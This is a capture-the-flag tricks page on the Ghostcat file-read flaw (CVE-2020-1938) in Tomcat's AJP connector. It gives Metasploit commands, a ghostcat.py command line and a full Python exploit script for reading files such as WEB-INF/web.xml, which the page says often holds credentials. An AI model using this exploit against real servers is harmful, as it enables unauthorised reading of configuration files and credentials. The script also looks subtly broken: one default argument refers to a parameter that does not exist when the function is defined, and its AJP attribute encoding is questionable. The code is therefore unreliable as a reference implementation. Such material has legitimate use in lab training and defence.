> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/vulnerability-exploitation/trick-0188/web-vulnerability-exploitation-tomcat-ajp.md).

# Tomcat Ajp

## Tomcat AJP File Read (Ghostcat)

Exploit the Ghostcat vulnerability (CVE-2020-1938) targeting the AJP connector to read arbitrary files. This vulnerability allows reading files from the webapp directories. This can be automated using the Metasploit module `auxiliary/admin/http/tomcat_ghostcat`.

This module is categorized as an auxiliary module, which performs actions like scanning, denial of service attacks, and fuzzing, rather than delivering a payload.

Specify the target host (`rhosts`) and run the module. By default, it attempts to read `/WEB-INF/web.xml`, which often contains configuration details or credentials. The module defaults to using the AJP port 8009. The available options for this module include:

```
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
FILE      /WEB-INF/web.xml  yes       The file to read
Proxies                    no        A proxy chain...
RHOSTS                     yes       The target host(s), range CIDR identifier, or...
RPORT     8009             yes       The target port (TCP)
VHOST                      no        HTTP server virtual host
```

A typical usage involves setting the target host and optionally changing the file to read or the port if it's not the default 8009.

```ruby
msf6 > use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > set rhosts 10.10.165.144
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
```

The vulnerability can also be exploited using a Python script, which provides an alternative method to read arbitrary files from the webapp directories via the AJP connector.

Using a Python script like `ghostcat.py`, you can specify the target IP and the file path you wish to read. For example, to read the `web.xml` file:

```bash
python3 ghostcat.py 10.10.165.144 -f WEB-INF/web.xml
```

The script typically accepts the target host as a positional argument and offers optional arguments for port, file path, and request attribute.

```
usage: ghostcat.py [-h] [-p PORT] [-f FILE] [-a ATTRIBUTE] target

positional arguments:
  target                target host

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  AJP port (default: 8009)
  -f FILE, --file FILE  file path to read
  -a ATTRIBUTE, --attribute ATTRIBUTE
                        request attribute (default: tomcat.util.http.OriginalRequestURI)
```

A Python implementation of the exploit looks like this:

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: ghostcat.py
#
# Copyright 2020 00theway
#
# License: MIT
#
# Based on:
# - https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
# - https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-Ajp-lfi/

import struct
import socket
import argparse

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_BYTE = b'\x12'
AJP_HEADER = b'\x12\x34'
AJP_WORKER_REQUEST = b'\x02'
AJP_SEND_HEADERS = b'\x04'
AJP_SEND_BODY_CHUNK = b'\x05'
AJP_END_RESPONSE = b'\x0b'
AJP_GET_BODY_CHUNK = b'\x0c'
AJP_CPING = b'\x0a'
AJP_CPONG = b'\x09'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_REQ_ATTRIBUTE_REQ_ATTRIBUTE = b'\x0a' # \x0a + attribute name + value

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_REQ_ATTRIBUTE_REMOTE_USER = b'\x01'
AJP_REQ_ATTRIBUTE_AUTH_TYPE = b'\x02'
AJP_REQ_ATTRIBUTE_ROUTE = b'\x03'
AJP_REQ_ATTRIBUTE_SSL_CERT = b'\x04'
AJP_REQ_ATTRIBUTE_SSL_CIPHER = b'\x05'
AJP_REQ_ATTRIBUTE_SSL_SESSION = b'\x06'
AJP_REQ_ATTRIBUTE_SSL_KEY_SIZE = b'\x07'
AJP_REQ_ATTRIBUTE_SECRET = b'\x08'
AJP_REQ_ATTRIBUTE_STORED_METHOD = b'\x09'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_REQ_ATTRIBUTE_ARE_DONE = b'\xff'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_REQ_METHOD_GET = b'\x02'
AJP_REQ_METHOD_POST = b'\x04'
AJP_REQ_METHOD_OPTIONS = b'\x01'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_STATUS_OK = b'\xc8'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_HEADER_CONTENT_TYPE = b'\xa8'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_HEADER_CONTENT_LENGTH = b'\xa9'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_HEADER_SERVER = b'\xaa'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_HEADER_LOCATION = b'\xab'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_HEADER_SET_COOKIE = b'\xac'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_HEADER_SET_COOKIE2 = b'\xad'

# reference: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
# some of these are unused, but are included for completeness
AJP_RESP_HEADER_WWW_AUTHENTICATE = b'\xae'

def pack_string(s):
    if s is None:
        return b'\xff\xff'
    l = len(s)
    return struct.pack(">H", l) + s.encode('utf-8')

def unpack(sock, fmt):
    size = struct.calcsize(fmt)
    buf = sock.recv(size)
    return struct.unpack(fmt, buf)

def unpack_string(sock):
    size, = unpack(sock, ">H")
    if size == 0xFFFF:
        return None
    buf = sock.recv(size)
    return buf.decode('utf-8')

def send_forward_request(sock, target_host, req_uri, method=AJP_REQ_METHOD_GET,
                         protocol="HTTP/1.1", remote_addr="127.0.0.1", remote_host="localhost",
                         server_addr="127.0.0.1", server_name=target_host, server_port=80,
                         is_ssl=False, num_headers=0, headers=[], attributes=[]):
    # Structure:
    # AJP_HEADER (2 bytes) + Length (2 bytes) + Prefix Code (1 byte) +
    # Method (1 byte) + Protocol (string) + Req_uri (string) + Remote_addr (string) +
    # Remote_host (string) + Server_addr (string) + Server_name (string) +
    # Server_port (2 bytes) + Is_ssl (1 byte) + Num_headers (2 bytes) +
    # Headers (list of strings) + Attributes (list of strings) +
    # AJP_REQ_ATTRIBUTE_ARE_DONE (1 byte)

    packed_req_uri = pack_string(req_uri)
    packed_protocol = pack_string(protocol)
    packed_remote_addr = pack_string(remote_addr)
    packed_remote_host = pack_string(remote_host)
    packed_server_addr = pack_string(server_addr)
    packed_server_name = pack_string(server_name)

    header_data = b''.join([pack_string(h[0]) + pack_string(h[1]) for h in headers])
    attributes_data = b''.join([pack_string(a[0]) + pack_string(a[1]) for a in attributes])

    msg = b''.join([AJP_WORKER_REQUEST, method, packed_protocol, packed_req_uri,
                    packed_remote_addr, packed_remote_host, packed_server_addr,
                    packed_server_name, struct.pack(">H", server_port),
                    struct.pack(">?", is_ssl), struct.pack(">H", num_headers),
                    header_data, attributes_data, AJP_REQ_ATTRIBUTE_ARE_DONE])

    # Calculate the length of the message excluding the AJP header
    length = len(msg)
    packed_length = struct.pack(">H", length)

    # Construct the full AJP message
    full_msg = AJP_HEADER + packed_length + msg

    sock.sendall(full_msg)


def get_response(sock):
    # Structure:
    # AJP_HEADER (2 bytes) + Length (2 bytes) + Type (1 byte) +
    # Status Code (2 bytes) + Status Message (string) + Num Headers (2 bytes) +
    # Headers (list of strings) + Body Chunk (bytes) + End Response (1 byte)

    # Read AJP Header
    header, length = unpack(sock, ">HH")
    if header != 0x1234:
        raise Exception("Invalid AJP header")

    # Read Response Type
    resp_type, = unpack(sock, ">B")

    if resp_type == 0x04: # AJP_SEND_HEADERS
        status_code, = unpack(sock, ">H")
        status_message = unpack_string(sock)
        num_headers, = unpack(sock, ">H")
        headers = []
        for _ in range(num_headers):
            header_name = unpack_string(sock)
            header_value = unpack_string(sock)
            headers.append((header_name, header_value))

        # Recursively get the rest of the response body
        body = get_response(sock)
        return {
            "type": "headers",
            "status_code": status_code,
            "status_message": status_message,
            "headers": headers,
            "body": body
        }
    elif resp_type == 0x05: # AJP_SEND_BODY_CHUNK
        chunk_length, = unpack(sock, ">H")
        chunk_data = sock.recv(chunk_length)

        # Recursively get the rest of the response body
        body = get_response(sock)
        return {
            "type": "body_chunk",
            "data": chunk_data,
            "body": body
        }
    elif resp_type == 0x0b: # AJP_END_RESPONSE
        reuse, = unpack(sock, ">?")
        return {
            "type": "end_response",
            "reuse": reuse
        }
    else:
        raise Exception(f"Unknown AJP response type: {hex(resp_type)}")


def traverse_response(response):
    if response is None:
        return ""
    if response["type"] == "headers":
        # Optionally print headers if needed for debugging
        # print("Status:", response["status_code"], response["status_message"])
        # print("Headers:", response["headers"])
        return traverse_response(response["body"])
    elif response["type"] == "body_chunk":
        return response["data"].decode('utf-8') + traverse_response(response["body"])
    elif response["type"] == "end_response":
        return ""
    else:
        return ""

def main():
    parser = argparse.ArgumentParser(description='Ghostcat (CVE-2020-1938) AJP File Read Exploit')
    parser.add_argument('target', help='target host')
    parser.add_argument('-p', '--port', type=int, default=8009, help='AJP port (default: 8009)')
    parser.add_argument('-f', '--file', default='/WEB-INF/web.xml', help='file path to read')
    parser.add_argument('-a', '--attribute', default='tomcat.util.http.OriginalRequestURI', help='request attribute (default: tomcat.util.http.OriginalRequestURI)')

    args = parser.parse_args()

    target_host = args.target
    target_port = args.port
    file_to_read = args.file
    attribute_name = args.attribute

    try:
        sock = socket.create_connection((target_host, target_port), timeout=5)

        # Craft the AJP forward request to read the desired file
        # We set the request_uri attribute to the file path we want to read
        attributes = [(attribute_name, file_to_read)]
        send_forward_request(sock, target_host, "/", attributes=attributes)

        # Get and process the response
        response = get_response(sock)

        # Extract and print the body content
        file_content = traverse_response(response)
        print(file_content)

        sock.close()

    except socket.timeout:
        print(f"Error: Connection to {target_host}:{target_port} timed out.")
    except ConnectionRefusedError:
        print(f"Error: Connection to {target_host}:{target_port} refused.")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    main()
```
